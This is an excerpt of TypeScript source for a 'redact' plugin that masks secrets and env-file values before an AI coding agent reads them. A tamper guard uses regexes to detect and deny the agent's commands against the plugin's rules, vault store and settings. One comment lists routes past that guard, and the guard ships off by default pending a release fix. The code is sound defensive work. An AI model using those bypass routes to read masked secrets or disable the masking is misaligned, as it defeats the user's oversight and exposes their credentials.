303    k.seeded = true
304    await $.fs.write(path, next).then(
305      () => {
306        if (!moved) return
307        const gone = moved.gone.length ? ` ${moved.gone.join(', ')} ${moved.gone.length > 1 ? 'were' : 'was'} on and ${moved.gone.length > 1 ? 'mask' : 'masks'} nothing now.` : ''
308        const lost = moved.lost ? ` ${moved.lost} line${moved.lost > 1 ? 's' : ''} that did not read stayed behind.` : ''
309        told($, `redact: your patterns moved from ${OLD_FILE} to ${FILE}; redact ships no built-in rules now.${gone}${lost} /redact rules lists what is on.`)
310      },
311      err => $.ui.log(`redact: ${FILE} not written: ${(err as Error)?.message ?? err}`, { to: 'debug' }))
312  }
313  return next
314}
315// the rules from the file's text, compiled again only when the text changed
316const take = (k: Kept, t: string) => {
317  if (t === k.last) return
318  k.last = t
319  let rules: unknown
320  try { rules = JSON.parse(t)?.rules } catch {}
321  if (!Array.isArray(rules)) { k.broken = 'is no JSON object with a rules list'; return }
322  k.broken = undefined
323  k.rules = rules
324  k.envOn = JSON.parse(t).envFiles !== false
325  k.compiled = compile(rules, YOURS)
326}
327const sync = async ($: EngineInterface, k: Kept) => {
328  const t = await text($, k, await place($, k))
329  if (t !== undefined) take(k, t)
330}
331// Writes the file's rules as `f` changes them, and the keys in `top`, its other keys kept; a file
332// that did not read or parse is left alone, never written over. Undefined when saved, else why not.
333const save = async ($: EngineInterface, k: Kept, f: (rules: unknown[]) => unknown[], top: object = {}) => {
334  const path = await place($, k)
335  const t = await text($, k, path)
336  if (t === undefined) return `not saved: ${FILE} did not read`
337  take(k, t)
338  if (k.broken) return `not saved: ${FILE} ${k.broken}; fix it by hand`
339  const next = JSON.stringify({ ...JSON.parse(t), ...top, rules: f(k.rules) }, null, 2) + '\n'
340  try { await $.fs.write(path, next) } catch (err) { return `not saved: ${(err as Error)?.message ?? err}` }
341  take(k, next)
342  $.ui.invalidate('ui.render')
343  return undefined
344}
345// a rule by its number, its name or its pattern; -1 when none is
346const pick = (k: Kept, ref: string) => /^\d+$/.test(ref) && k.rules[Number(ref) - 1] !== undefined ? Number(ref) - 1
347  : ref ? k.rules.findIndex((r: any) => r?.name === ref || r?.pattern === ref) : -1
348// No reply names a rule by more than its number: a reply to a typed command can reach the model.
349const NONE = 'no such rule: give its number or name (/redact rules lists them)'
350// turns a rule on or off
351const turn = async ($: EngineInterface, k: Kept, ref: string, on: boolean) => {
352  await sync($, k)
353  const i = pick(k, ref)
354  if (i < 0) return NONE
355  if (isOn(k.rules[i]) === on) return `already ${on ? 'on' : 'off'}: #${i + 1}`
356  return await save($, k, rules => rules.map((r, j) => j === i ? { ...r as object, enabled: on } : r))
357    ?? `#${i + 1} ${on ? 'on' : 'off'}: from now on, mid-turn too`
358}
359const add = async ($: EngineInterface, k: Kept, typed: string) => {
360  await sync($, k)
361  if (!typed) return 'nothing added: give a regex'
362  let rule: Rule
363  try { rule = read(typed) } catch (err) { return `not added: ${(err as Error).message}` }
364  const at = k.rules.findIndex((r: any) => r?.pattern === rule.pattern && (r?.replacement ?? 'SECRET') === rule.replacement)
365  if (at >= 0) return `already there, as #${at + 1}`
366  return await save($, k, rules => [...rules, rule]) ?? `added as #${k.rules.length}: it masks from now on, mid-turn too`
367}
368// Turns seeding from env files on or off: `envFiles` in the rules file, on when absent. Off keeps
369// what it already put in the vault; on reads the files before the next prompt.
370const envTurn = async ($: EngineInterface, k: Kept, on: boolean) => {
371  await sync($, k)
372  if ((k.envOn !== false) === on) return `env files already ${on ? 'on' : 'off'}`
373  return await save($, k, rules => rules, { envFiles: on })
374    ?? (on ? 'env files on: read from the next prompt on' : 'env files off: what they put in stays masked this session (forget it in /redact show)')
375}
376const remove = async ($: EngineInterface, k: Kept, ref: string) => {
377  await sync($, k)
378  const i = pick(k, ref)
379  if (i < 0) return NONE
380  return await save($, k, rules => rules.filter((_, j) => j !== i)) ?? `removed #${i + 1}`
381}
382
383// /redact's reply to its arguments, undefined for the pane. It answers in a toast, never as text:
384// a command's output row is one the model reads, and none of /redact is its business
385// (prompt.submit drops the line itself).
386const USAGE = 'show | rules | guide | test [text] | add <rule> | remove <n|name> | on <n|name> | off <n|name> | env on|off'
387const answer = async ($: EngineInterface, k: Kept, fromSettings: Pattern[], args: string) => {
388  const [, verb = '', rest = ''] = /^\s*(\S*)\s*([\s\S]*?)\s*$/.exec(args) ?? []
389  if (verb === 'add') return add($, k, rest)
390  if (verb === 'off' || verb === 'on') return turn($, k, rest, verb === 'on')
391  if (verb === 'remove') return remove($, k, rest)
392  if (verb === 'env' && (rest === 'on' || rest === 'off')) return envTurn($, k, rest === 'on')
393  if (verb === 'test' && rest) {
394    await sync($, k)
395    k.tab = 'rules'; k.note = ''; k.sample = rest
396    await $.ui.open({ id: PANE, title: TITLE, focus: true }); k.opened = true
397    $.ui.invalidate('ui.render')
398    const trial = fresh()
399    const out = mask(rest, trial, [...k.compiled, ...fromSettings])
400    const hits = masked(trial)
401    return hits.length ? `→ ${out} (${hits.map(x => `${x.p} by ${x.by}`).join(', ')})` : k.compiled.length + fromSettings.length ? 'no rule matched' : 'no rule matched: none is on'
402  }
403  const tab = !rest ? TABS[verb] : undefined
404  if (tab) { k.tab = tab; k.note = ''; await $.ui.open({ id: PANE, title: TITLE, focus: true }); k.opened = true; return undefined }
405  return `usage: /redact ${USAGE}`
406}
407
408// The vault of the session the hook runs in, read from the store once per session id (a /clear
409// starts a new one), every hook of that id sharing the one read, so two never number apart. A
410// read that fails is tried again by the next hook.
411const load = async ($: EngineInterface, id: string): Promise<Held> => {
412  const v: any = await $.store.get(VAULT + id)
413  if (!v || typeof v.ph !== 'object' || typeof v.n !== 'object') return fresh(id)
414  const vault: Vault = JSON.parse(JSON.stringify(v)) // the store's copy may be frozen
415  return { id, v: vault, byValue: new Map(Object.entries(vault.ph).map(([p, x]) => [x, p])), dirty: false }
416}
417const hold = async ($: EngineInterface, k: Kept) => {
418  const id = await $.session.id()
419  if (k.vault?.id !== id) {
420    k.revealed.clear() // a new session numbers from 1 again: no reveal carries over to its placeholders
421    const held = load($, id)
422    k.vault = { id, held }
423    held.catch(() => { if (k.vault?.held === held) k.vault = undefined })
424  }
425  return k.vault.held
426}
427// A toast that never throws: a catch's notice of what it left out (the model never learns it is
428// missing), a refusal the person should see.
429const told = ($: EngineInterface, text: string) => { try { $.ui.toast(text) } catch {} }
430// The status line under the prompt: how many values this session's vault holds, so masking shows
431// though the terminal draws the real values back. Set only when it changes.
432const badge = ($: EngineInterface, k: Kept, h: Held) => {
433  const n = Object.keys(h.v.ph).length
434  // with no rule on, a count alone would read as protected: nothing new is masked
435  const line = [`redact: ${n} masked`, ...k.compiled.length + k.extra ? [] : ['no rules on'],
436    ...k.broken ? [`${FILE} ${k.broken}, last rules kept (/redact rules)`] : [],
437    ...k.skipped.length ? [`skipped pattern ${k.skipped.join(', ')} (/redact show)`] : [],
438    ...k.raw ? ['drawn as the model reads it'] : []].join(' · ')
439  if (line === k.shown) return
440  k.shown = line
441  try { $.ui.status(line) } catch {}
442}
443// Drops a placeholder from the vault. Its number is never handed out again (`n` stays), so a row
444// still holding it never restores to another value: a call naming it is refused, and the value,
445// matched again, masks under a new number.
446const drop = (h: Held, p: string) => {
447  const value = h.v.ph[p]
448  if (value === undefined) return false
449  delete h.v.ph[p]
450  delete h.v.by?.[p]
451  h.byValue.delete(value)
452  h.known = undefined
453  h.dirty = true
454  return true
455}
456const forget = async ($: EngineInterface, k: Kept, p: string) => {
457  const h = await hold($, k)
458  if (!drop(h, p)) return 'already forgotten'
459  await keep($, k, h)
460  badge($, k, h)
461  return `forgot ${p}: a call naming it is refused from now on, and the value, matched again, masks under a new number`
462}
463// every placeholder at once, in one save
464const forgetAll = async ($: EngineInterface, k: Kept) => {
465  const h = await hold($, k)
466  const n = Object.keys(h.v.ph).filter(p => drop(h, p)).length
467  await keep($, k, h)
468  badge($, k, h)
469  return `forgot ${n}: a call naming one is refused from now on, and each value, matched again, masks under a new number`
470}
471// What the pane lists: each placeholder, its value, and the rule or pattern that masked it.
472const masked = (h: Held) => Object.entries(h.v.ph).map(([p, v]) => ({ p, v, by: h.v.by?.[p] ?? 'not recorded (masked before redact kept it)' }))
473// Saves the vault when a masking added to it, one save at a time so an older copy never lands
474// last. A save that fails throws, and the hook withholds: a --resume would not find the value.
475const keep = ($: EngineInterface, k: Kept, h: Held) => {
476  if (!h.dirty) return Promise.resolve()
477  return k.saving = k.saving.catch(() => {}).then(async () => {
478    if (!h.dirty) return
479    h.dirty = false
480    try { h.v.at = await $.clock.now(); await $.store.set(VAULT + h.id, h.v) }
481    catch (err) { h.dirty = true; throw err }
482  })
483}
484// One hook's masking: the session's vault with the file's rules that are on, then the settings'.
485const masker = async ($: EngineInterface, k: Kept, fixed: readonly Pattern[]) => {
486  await sync($, k)
487  const h = await hold($, k)
488  const patterns = [...k.compiled, ...fixed]
489  return { m: (s: string) => mask(s, h, patterns), done: async () => { await keep($, k, h); badge($, k, h) } }
490}
491// drops the vaults of sessions untouched for KEEP_MS; a --resume of one finds its placeholders gone
492const prune = async ($: EngineInterface) => {
493  const now = await $.clock.now()
494  for (const key of await $.store.keys()) {
495    if (!key.startsWith(VAULT)) continue
496    const v: any = await $.store.get(key)
497    if (typeof v?.at !== 'number' || now - v.at > KEEP_MS) await $.store.delete(key)
498  }
499}
500
501// The env files at the top of the folder a session starts in: `.env`, `.env.*` and `*.env`
502// (dotenv, Docker), `.envrc` (direnv: its `export KEY=value` lines read, the rest of its shell
503// passes), `.dev.vars` and `.dev.vars.*` (wrangler), `.flaskenv`; and the files a compose file's
504// `env_file:` names. Never a template's (`.env.example`, `example.env`): its values are `changeme`.
505const ENV_FILE = /^(?:\.env(?:\..+)?|[^.].*\.env|\.envrc|\.dev\.vars(?:\..+)?|\.flaskenv)$/i
506const TEMPLATE = /(?:^|\.)(?:example|sample|template|dist)(?:\.|$)/i
507const COMPOSE = /^(?:docker-)?compose(?:\.[\w-]+)?\.ya?ml$/i
508// The paths a compose file's `env_file:` names, as a scalar after it or a list below it (`- a.env`,
509// `- path: a.env`), quotes stripped. Read as lines, not as YAML: a key indented less ends the list.
510export const composeEnvFiles = (text: string) => {
511  const out: string[] = []
512  const lines = text.split(/\r?\n/)
513  const unquote = (s: string) => s.replace(/^(['"])(.*)\1$/, '$2')
514  lines.forEach((l, i) => {
515    const r = /^(\s*)env_file:[ \t]*([^#]*?)\s*(?:#.*)?$/.exec(l)
516    if (!r) return
517    const [, indent, rest] = r as unknown as [string, string, string]
518    if (rest.startsWith('[')) return void out.push(...rest.slice(1, rest.lastIndexOf(']')).split(',').map(s => unquote(s.trim())).filter(Boolean))
519    if (rest) return void out.push(unquote(rest))
520    for (const below of lines.slice(i + 1)) {
521      if (!below.trim() || /^\s*#/.test(below)) continue
522      const at = below.search(/\S/)
523      if (at < indent.length || (at === indent.length && !below.trimStart().startsWith('-'))) break
524      const p = /^\s*(?:-\s+(?!path:)([^\s#:]+|'[^']+'|"[^"]+")|(?:-\s+)?path:\s*([^\s#]+|'[^']+'|"[^"]+"))\s*(?:#.*)?$/.exec(below)
525      if (p) out.push(unquote(p[1] ?? p[2]!))
526    }
527  })
528  return out
529}
530// `KEY=value`, `export` before it allowed; a quoted value runs to its closing quote, an unquoted
531// one to a ` #` comment (`a#b` is one value). A value with a line break in its quotes is skipped,
532// not half read.
533const ENV_LINE = /^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_.-]*)\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'#](?:.*?\S)?)?)(?:\s+#.*)?\s*$/
534// a value that only names another (`${OTHER}`, `$OTHER`) or runs a command (`$(cat key)`, an
535// `.envrc`'s) holds no secret of its own
536const REF = /^\$\{?\w+\}?$|^\$\(|^`/
537export const envValues = (text: string) => text.split(/\r?\n/).flatMap(l => {
538  const r = ENV_LINE.exec(l)
539  const value = r && (r[2] ?? r[3] ?? r[4] ?? '')
540  return r && value ? [{ key: r[1]!, value }] : []
541})
542// Puts each secret-shaped value of the env files at `dir` (and those its compose files name) in the vault, under its key as label
543// (`⟦GITHUB_TOKEN_n⟧`, ENV where the key is no label), so it is masked wherever it comes back
544// with no rule on. Only a `strong` value: `PORT=3000` or `DEBUG=true`, vaulted, would mask
545// every 3000 and true all session. A value the vault holds keeps its placeholder. The number added.
546// Run again before every prompt with the session's `seen`: a file is read only when its time or
547// size changed since, and only then are its values put in, so a value forgotten in the pane stays
548// out until its file changes.
549type Seen = Map<string, { sig: string; got: any }>
550const reread = async <T,>($: EngineInterface, seen: Seen, path: string, parse: (t: string) => T) => {
551  const st = await $.fs.stat(path).catch(() => undefined)
552  const sig = st ? `${st.mtimeMs}:${st.size}` : 'none'
553  const was = seen.get(path)
554  if (was?.sig === sig) return { got: was.got as T, changed: false }
555  const got = parse(st ? await $.fs.read(path).then(String, () => '') : '')
556  seen.set(path, { sig, got })
557  return { got, changed: true }
558}
559const seed = async ($: EngineInterface, h: Held, dir: string, seen: Seen) => {
560  const before = h.byValue.size
561  const base = dir.replace(/[\\/]+$/, '')
562  const entries = (await $.fs.list(dir)).filter(f => f.kind !== 'dir').map(f => f.name).sort()
563  const named: string[] = []
564  for (const name of entries.filter(n => COMPOSE.test(n))) {
565    const { got } = await reread($, seen, `${base}/${name}`, composeEnvFiles)
566    named.push(...got.map(p => p.replace(/^\.[\\/]+/, '')))
567  }
568  // once each, as listed or as a compose file names it (relative to the folder, or absolute)
569  const names = [...new Set([...entries.filter(n => ENV_FILE.test(n)), ...named])]
570    .filter(n => !TEMPLATE.test(n.replace(/^.*[\\/]/, '')))
571  for (const name of names) {
572    const path = /^(?:[\\/]|[A-Za-z]:)/.test(name) ? name : `${base}/${name}`
573    const { got, changed } = await reread($, seen, path, envValues)
574    if (!changed) continue
575    for (const { key, value } of got) {
576      if (value.includes(OPEN) || REF.test(value) || !strong(value)) continue
577      const label = key.toUpperCase().replace(/[.-]/g, '_')
578      mint(h, value, LABEL.test(label) ? label : 'ENV', `${name}: ${key}`)
579    }
580  }
581  return h.byValue.size - before
582}
583// Seeds this session's vault from the env files at `dir`, the session's folder when absent; a new
584// session id (a /clear) reads every file again. A failure is logged, never thrown: the prompt it
585// runs before still goes.
586const seedHere = async ($: EngineInterface, k: Kept, dir?: string) => {
587  try {
588    await sync($, k)
589    if (k.envOn === false) return
590    const h = await hold($, k)
591    if (k.env?.id !== h.id) k.env = { id: h.id, seen: new Map() }
592    const n = await seed($, h, dir ?? await $.session.cwd(), k.env.seen)
593    await keep($, k, h)
594    badge($, k, h)
595    if (n) told($, `redact: ${n} value${n > 1 ? 's' : ''} from the env files here masked (/redact show)`)
596  } catch (err) { $.ui.log(`redact: env files not read: ${(err as Error)?.message ?? err}`, { to: 'debug' }) }
597}
598
599// Tamper guard: what decides this plugin's masking, kept out of the model's reach. The patterns
600// file, read or written (/redact show lists it); the store file of vaults (Bash is checked whole,
601// so reading it is refused too); and its enabledPlugins and pluginConfigs entries in a settings
602// file. Best effort: a Bash command that spells a path another way (a variable, `cd` first, a
603// search over the home folder), an MCP server's own file tools, the plugin's own source and
604// `claude plugin disable` get past it.
605// its file, a glob over the folder, or the folder itself (`rm -rf …/store`)
606const STORE = /plugins[\\/]+store(?:[\\/]+(?:redact|[^\s'"]*[*?[])|[\\/]*(?=[\s'";|&)]|$))/i
607// Bash and the rules file: its name (FILE), a glob at the top of a `.claude` folder
608// (`cat ~/.claude/*`), or a recursive reader or copier naming that folder. A bare `ls ~/.claude`
609// passes, and so does the word claude (`grep -rn claude .`, `~/dotagents/claude/*`). A
610// CLAUDE_CONFIG_DIR not named .claude gets the name rule only.
611const RULES_SH = /redact-rules\.json|(?:^|[\s'"=~\\/])\.claude[\\/]+[^\s'"\\/]*[*?[]|\b(?:grep|rg|ag|ack|find|tar|zip|rsync|cp|scp)\b[^|;&\n]*(?:^|[\s'"=~\\/])\.claude[\\/]*(?=[\s'";|&)]|$)/i
612// where a path lands, `/`-separated and lowercased (a case alias on Windows and macOS), else as
613// spelled; a Grep with no path searches the working directory
614const land = async ($: EngineInterface, p: string) =>
615  ((await $.fs.stat(p, { resolve: true }).catch(() => undefined))?.realPath ?? p).replace(/\\/g, '/').replace(/\/+$/, '').toLowerCase()
616// a file tool's path that lands on the rules file, or a Grep over a folder that holds it
617const reaches = async ($: EngineInterface, e: any, file: string) => {
618  const p = e.tool === 'Grep' ? String(e.path ?? '.') : e.file_path ?? e.notebook_path ?? e.path
619  if (typeof p !== 'string' || !p) return false
620  if (p.toLowerCase().includes(FILE)) return true
621  const [at, f] = await Promise.all([land($, p), land($, file)])
622  return at === f || (e.tool === 'Grep' && f.startsWith(at + '/'))
623}
624// A file tool's settings file is any of that name, since ~/.claude/settings.json can be a link
625// to one elsewhere (a dotfiles repo) and the tool names the target: the before and after decide.
626// Bash names it under a claude folder, and redact.
627const SETTINGS = /(?:^|[\\/])settings(?:\.local)?\.json$/i
628const SETTINGS_SH = /claude[\\/]+settings(?:\.local)?\.json/i
629// this plugin's entries in a settings file's text; undefined when it is no JSON, since a broken
630// settings file drops them all
631const ours = (text: string) => {
632  try {
633    const j = JSON.parse(text)
634    return JSON.stringify(['enabledPlugins', 'pluginConfigs'].map(k => Object.entries(j?.[k] ?? {}).filter(([id]) => id === 'redact' || id.startsWith('redact@'))))
635  } catch { return undefined }
636}
637const tamper = async ($: EngineInterface, e: any, file: string) => {
638  if (e.tool === 'Bash') return STORE.test(e.command) || RULES_SH.test(e.command) || (SETTINGS_SH.test(e.command) && /redact/i.test(e.command))
639  if (await reaches($, e, file)) return true
640  if (!WRITES[e.tool]) return false
641  const path = String(e.file_path ?? e.notebook_path ?? '')
642  if (STORE.test(path)) return true
643  if (!SETTINGS.test(path) || (e.tool !== 'Write' && e.tool !== 'Edit')) return false
644  // an Edit names only the lines it changes, so compare the entries before and after it
645  const before = await $.fs.read(path).catch(() => '{}')
646  const after = e.tool === 'Write' ? String(e.content)
647    : e.replace_all ? before.split(e.old_string).join(e.new_string) : before.replace(e.old_string, () => e.new_string)
648  return ours(after) !== ours(before)
649}
650
651export const register: Register = (on, options) => {
652  // The `patterns` option, lines in /redact add's short form, masked after the file's rules.
653  // One that does not compile is skipped, the rest stay on. They run in each hook's budget: a slow
654  // one gets the text withheld by the `.catch`es below, never passed on, so bounding its repeats
655  // is the user's call.
656  // an unset option reads as '', a line no pattern holds
657  const settings = (typeof options.patterns === 'string' ? [options.patterns] : Array.isArray(options.patterns) ? options.patterns : [])
658    .map(l => String(l).trim()).filter(Boolean)
659  const fromSettings = compile(settings.flatMap(line => lineFault(line) ? [] : [read(line)]), 'pattern from settings')
660  const skipped = settings.flatMap((src, i) => lineFault(src) ? [`#${i + 1}`] : [])
661  // note: the pane's answer to its last add, remove or forget
662  const kept: Kept = { rules: [], compiled: [], note: '', extra: fromSettings.length, saving: Promise.resolve(), raw: false, skipped, revealed: new Set(), tab: 'session', sample: '' }
663  // The tamper guard is off while redact is being developed (it refuses the work on its own
664  // files); the tests turn it on with this undeclared option. Default it back to on before release.
665  const guarded = options.guard === true
666  const failed = (where: string, kind: string) => `redact could not mask ${where} (${kind})`
667
668  on('session.start', async ($, e, next) => {
669    try { await $.command.register({ name: 'redact', description: 'Show the redact pane, test, add or remove rules, turn them on or off, and forget held values.', argumentHint: USAGE, immediate: true }) }
670    catch (err) { $.ui.log(`redact: /redact not registered: ${(err as Error)?.message ?? err}`, { to: 'debug' }) } // throws on hot reload (no session bound yet)
671    try { await prune($) } catch (err) { $.ui.log(`redact: old vaults not pruned: ${(err as Error)?.message ?? err}`, { to: 'debug' }) }
672    try { await sync($, kept); badge($, kept, await hold($, kept)) } // a --resume starts with a vault
673    catch (err) { $.ui.log(`redact: vault not loaded: ${(err as Error)?.message ?? err}`, { to: 'debug' }) }
674    // the project's env values, masked from the first request on
675    await seedHere($, kept, e.cwd)
676    return next(e)
677  })
678
679  on('command.run', { command: 'redact' }, async ($, e) => {
680    const reply = await answer($, kept, fromSettings, e.args)
681    if (reply) told($, `redact: ${reply}`)
682    return {}
683  })
684
685  // ---- Masking: everything the model reads, before it is recorded or sent.
686
687  // A slash command's line takes no rewrite here: its arguments are masked at command.run, a
688  // skill's text at skill.prompt.
689  on('prompt.submit', async ($, e, next) => {
690    // Every /redact line stays out of the conversation: dropped, it never enters it. command.run
691    // has run it by now (`e.command.args` is what its hooks left); the pane opens here only when
692    // command.run did not open it, should a build drop before it runs.
693    if (e.command?.name === 'redact') {
694      const tab = TABS[e.command.args.trim()]
695      if (!kept.opened && tab) { kept.tab = tab; kept.note = ''; await $.ui.open({ id: PANE, title: TITLE, focus: true }) }
696      kept.opened = false
697      return { drop: 'redact: kept out of the conversation' }
698    }
699    // an env file changed since the last prompt masks from this one on
700    await seedHere($, kept)
701    if (e.command) return next(e)
702    const { m, done } = await masker($, kept, fromSettings)
703    const text = m(e.text)
704    await done()
705    return next(text === e.text ? e : { ...e, text })
706  }).catch((_, _e, next) => ({ drop: `${failed('this prompt', next.error.kind)}, so it was not sent.` }))
707
708  // /redact's own arguments are a rule for the rules file, not text for the model.
709  on('command.run', async ($, e, next) => {
710    if (e.command === 'redact' || !e.args) return next(e)
711    const { m, done } = await masker($, kept, fromSettings)
712    const args = m(e.args)
713    await done()
714    return next(args === e.args ? e : { ...e, args })
715  }).catch((_, e, next) => next.called ? { text: failed(`/${e.command}'s output`, next.error.kind) } : { text: `${failed(`/${e.command}'s arguments`, next.error.kind)}, so it did not run.` })
716
717  on('skill.prompt', async ($, e, next) => {
718    const r = await next(e)
719    const { m, done } = await masker($, kept, fromSettings)
720    const text = m(r.text)
721    await done()
722    return text === r.text ? r : { ...r, text }
723  }).catch((_, e, next) => ({ text: `${failed(`the ${e.skill} skill's text`, next.error.kind)}, so it was left out.` }))
724
725  // The first message's blocks (CLAUDE.md, the account's email, the date). A rewritten claudeMd
726  // text leaves the files behind it unknown, so the engine renders nothing again from them.
727  on('prompt.context', async ($, e, next) => {
728    const r = await next(e)
729    const { m, done } = await masker($, kept, fromSettings)
730    const blocks = r.blocks.map(b => { const text = m(b.text); return text === b.text ? b : { ...b, text } })
731    await done()
732    return blocks.some((b, i) => b !== r.blocks[i]) ? { ...r, blocks } : r
733  }).catch(($, _e, next) => { told($, `${failed('the first request\'s context (CLAUDE.md, the date)', next.error.kind)}, so it was left out.`); return { blocks: [] } })
734
735  // The system prompt. Nothing changed hands core's own list back, so `shared` sections keep the
736  // prompt cache; failing, only those stay: they read the same for everyone, so hold nothing of ours.
737  on('prompt.compose', async ($, e, next) => {
738    const r = await next(e)
739    const { m, done } = await masker($, kept, fromSettings)
740    const sections = r.sections.map(s => { const text = m(s.text); return text === s.text ? s : { ...s, text } })
741    await done()
742    return sections.some((s, i) => s !== r.sections[i]) ? { sections } : r
743  }).catch(async ($, e, next) => {
744    told($, `${failed('the system prompt', next.error.kind)}, so only its shared sections were sent.`)
745    return { sections: (await next(e)).sections.filter(s => s.scope === 'shared') }
746  })
747
748  // What the engine injects per request (a reminder, a mentioned file, a hook's context): the
749  // transcript keeps the engine's record, the request carries this answer.
750  on('prompt.attachment', async ($, e, next) => {
751    const r = await next(e)
752    if (typeof r.text !== 'string') return r
753    const { m, done } = await masker($, kept, fromSettings)
754    const text = m(r.text)
755    await done()
756    return text === r.text ? r : { ...r, text }
757  }).catch(($, e, next) => { told($, `${failed(`an injected ${e.type}`, next.error.kind)}, so it was left out.`); return { text: null } })
758
759  // An MCP server's words about its tools; the built-in tools' are the engine's own.
760  on('tool.describe', async ($, e, next) => {
761    const r = await next(e)
762    if (!e.tool.startsWith('mcp__')) return r
763    const { m, done } = await masker($, kept, fromSettings)
764    const description = m(r.description)
765    await done()
766    return description === r.description ? r : { ...r, description }
767  }).catch(async (_, e, next) => ({ ...(await next(e)), description: 'redact: withheld, as masking it failed.' }))
768
769  // Every row a conversation keeps, a subagent's too: what the transcript stores and the next
770  // request sends. The model's response holds no value it never saw, and a notice is never sent.
771  // Failing, the row's text is withheld: the catch maps blocks to a constant, nothing that can throw.
772  on('session.append', async ($, e, next) => {
773    if (e.door === 'response') return next(e)
774    // a /redact line's arguments (a pattern being added) are emptied in any row, a notice too:
775    // the engine records them empty already, this holds should it stop
776    const scrubbed = blocks(e.message.content, s => s.replace(REDACT_ARGS, '$1$2'))
777    if (e.door === 'notice') return next(scrubbed === e.message.content ? e : { ...e, message: { ...e.message, content: scrubbed } })
778    const { m, done } = await masker($, kept, fromSettings)
779    const content = blocks(scrubbed, m)
780    await done()
781    return next(content === e.message.content ? e : { ...e, message: { ...e.message, content } })
782  }).catch((_, e, next) => next({ ...e, message: { ...e.message, content: blocks(e.message.content, () => WITHHELD) } }))
783
784  // ---- Restoring: the real values, where they run or are drawn on this machine.
785
786  on('tool.call', async ($, e, next) => {
787    const h = await hold($, kept)
788    const missing = new Set<string>()
789    const input = deep(e, s => restore(s, h, missing)) as typeof e
790    if (missing.size) {
791      const names = [...missing].join(', ')
792      const isNo = missing.size > 1 ? 'are no placeholders' : 'is no placeholder'
793      // the deny reaches only the model; the person sees why their call stopped too
794      told($, `redact refused ${e.tool}: ${names} ${isNo} this session holds`)
795      const escaped = [...missing].map(p => ESC + p.slice(OPEN.length)).join(', ')
796      return { deny: `${names} ${isNo} this session's redact vault holds, so its real value cannot be put back. Use the placeholders exactly as they appear in the conversation, or ask the user. To write one as literal text (a doc, a report), put ! after its opening bracket: ${escaped}.` }
797    }
798    if (guarded && await tamper($, input, await place($, kept))) {
799      return { deny: `this call would reach the redact plugin's own config (its rules file, its store of vaults, or its entries in a settings file), which decides what gets masked. Ask the user to make that change: they edit the file themselves, or use /redact show.` }
800    }
801    return next(input)
802  }).catch(async (_, e, next) => ({
803    // No work here, the grace is 1 s. `called`: the tool ran, so retrying repeats it.
804    deny: next.called
805      ? `${e.tool} ran, but its output is withheld: the redact plugin failed after it (${next.error.kind}).`
806      : `${e.tool} did not run: the redact plugin failed before it (${next.error.kind}).`,
807  }))
808
809  // The terminal is this machine's; every other surface (the mobile app over Remote Control, the
810  // desktop app, VS Code) keeps the placeholders, so drawing never sends a value off the terminal. A
811  // failed hook draws the engine's row, placeholders and all.
812  // `kept.raw` (the pane's toggle) draws the placeholders on the terminal too, as the model reads
813  // them: the transcript and the suggested prompt
814  const drawn = (s: string) => !kept.raw && s.includes(OPEN)
815  on('ui.render', { component: 'AssistantMessage' }, async ($, e, next) =>
816    e.surface === 'terminal' && drawn(e.props.text) ? next({ ...e, props: { ...e.props, text: restore(e.props.text, await hold($, kept)) } }) : next(e))
817  on('ui.render', { component: 'UserMessage' }, async ($, e, next) =>
818    e.surface === 'terminal' && drawn(e.props.text) ? next({ ...e, props: { ...e.props, text: restore(e.props.text, await hold($, kept)) } }) : next(e))
819  on('ui.render', { component: 'ToolUse' }, async ($, e, next) => {
820    if (e.surface !== 'terminal' || !drawn(JSON.stringify(e.props.input) ?? '')) return next(e)
821    const h = await hold($, kept)
822    return next({ ...e, props: { ...e.props, input: deep(e.props.input, s => restore(s, h)) } })
823  })
824  on('ui.render', { component: 'ToolResult' }, async ($, e, next) => {
825    if (e.surface !== 'terminal' || !drawn(JSON.stringify(e.props.output) ?? '')) return next(e)
826    const h = await hold($, kept)
827    return next({ ...e, props: { ...e.props, output: deep(e.props.output, s => restore(s, h)) } })
828  })
829  // the engine's guess at the next prompt, in the box: submitted, it is masked again
830  on('prompt.suggest', async ($, e, next) => drawn(e.text) ? next({ ...e, text: restore(e.text, await hold($, kept)) }) : next(e))
831
832  on('ui.render', { component: 'Pane', requestId: PANE }, async ($, e) => {
833    await sync($, kept)
834    const file = await place($, kept)
835    const vault = masked(await hold($, kept))
836    const { rules, note, tab, sample } = kept
837    const { Box, Text, Button } = $.ui.resolve(e)
838    const w = Math.max(1, e.props.bodyColumns ?? 80)
839    const len = (s: string) => [...s].length
840    const section = (k: string, title: string, right?: string) => {
841      const bare = 3 + len(title) + 1
842      const r = right && w - bare - (len(right) + 4) >= 2 ? right : undefined
843      const fill = Math.max(2, w - bare - (r ? len(r) + 4 : 0))
844      return (
845        <Text key={k} wrap="truncate-end">
846          <Text dimColor>── </Text>
847          <Text weight="semibold">{title}</Text>
848          <Text dimColor> {'─'.repeat(fill)}</Text>
849          {r ? <Text dimColor> {r} </Text> : null}
850          {r ? <Text dimColor>──</Text> : null}
851        </Text>
852      )
853    }
854    const redraw = (s: string) => { kept.note = s; $.ui.invalidate('ui.render') }
855    const go = (t: Tab) => { kept.tab = t; kept.note = ''; $.ui.invalidate('ui.render') }
856    const tabBtn = (t: Tab, title: string, hk: string) => (
857      <Button key={`tab-${t}`} label={`${title}${tab === t ? '•' : ' '}`} hotkey={hk} plain dimColor={tab !== t} onPress={() => go(t)} />
858    )
859    // The value, on the terminal only: every other surface (mobile, desktop, VS Code) keeps the
860    // placeholders, so the pane never sends a value there either. The model never reads a pane, and a tool that reads the
861    // screen back (a Bash `tmux capture-pane`) returns text the vault masks again, as it holds
862    // every value shown here; a screenshot is an image, which nothing masks (README, Limits).
863    // A value with a line break or past 40 characters (a private key runs to 8 KB) is cut to its ends
864    // until its reveal is pressed, so one key does not fill the pane or show whole on a shared screen.
865    const long = (v: string) => e.surface === 'terminal' && (v.includes('\n') || v.length > 40)
866    const shown = (p: string, v: string) => {
867      if (e.surface !== 'terminal') return `${v.length} chars`
868      if (!long(v) || kept.revealed.has(p)) return v
869      const lines = v.split('\n').length
870      const size = `(${lines > 1 ? `${lines} lines, ` : ''}${v.length} chars)`
871      // a short one shows its size alone, as its ends would be all of it; a line break draws as ⏎
872      const ends = v.length > 20 ? `${v.slice(0, 6)}…${v.slice(-4)} `.replace(/\r?\n/g, '⏎') : ''
873      return ends + size
874    }
